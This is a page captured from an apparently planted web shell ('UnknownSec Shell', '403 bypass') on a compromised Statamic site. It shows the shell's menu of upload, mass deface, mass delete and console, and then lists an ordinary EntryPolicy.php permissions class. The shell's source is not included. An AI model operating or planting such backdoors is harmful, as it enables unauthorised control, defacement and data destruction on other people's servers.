shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Policies
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
EntryPolicy.php
<?php namespace Statamic\Policies; use Statamic\Facades\User; class EntryPolicy { use Concerns\HasMultisitePolicy; public function before($user) { $user = User::fromUser($user); if ($user->hasPermission('configure collections')) { return true; } } public function index($user) { // } public function view($user, $entry) { $user = User::fromUser($user); if (! $this->userCanAccessSite($user, $entry->site())) { return false; } return $this->edit($user, $entry) || $user->hasPermission("view {$entry->collectionHandle()} entries"); } public function edit($user, $entry) { $user = User::fromUser($user); if (! $this->userCanAccessSite($user, $entry->site())) { return false; } if ($this->hasAnotherAuthor($user, $entry)) { return $user->hasPermission("edit other authors {$entry->collectionHandle()} entries"); } return $user->hasPermission("edit {$entry->collectionHandle()} entries"); } public function editOtherAuthorsEntries($user, $collection, $blueprint = null) { $blueprint = $blueprint ?? $collection->entryBlueprint(); if ($blueprint->hasField('author') === false) { return true; } return $user->hasPermission("edit other authors {$collection->handle()} entries"); } public function update($user, $entry) { $user = User::fromUser($user); return $this->edit($user, $entry); } public function create($user, $collection, $site = null) { $user = User::fromUser($user); if ($site && (! $collection->sites()->contains($site->handle()) || ! $this->userCanAccessSite($user, $site))) { return false; } return $user->hasPermission("create {$collection->handle()} entries"); } public function store($user, $collection, $site = null) { return $this->create($user, $collection, $site); } public function delete($user, $entry) { $user = User::fromUser($user); if ($this->hasAnotherAuthor($user, $entry)) { return $user->hasPermission("delete other authors {$entry->collectionHandle()} entries"); } return $user->hasPermission("delete {$entry->collectionHandle()} entries"); } public function publish($user, $entry) { $user = User::fromUser($user); if ($this->hasAnotherAuthor($user, $entry)) { return $user->hasPermission("publish other authors {$entry->collectionHandle()} entries"); } return $user->hasPermission("publish {$entry->collectionHandle()} entries"); } protected function hasAnotherAuthor($user, $entry) { if ($entry->blueprint()->hasField('author') === false) { return false; } return ! $entry->authors()->contains($user->id()); } }
© 2026 UnknownSec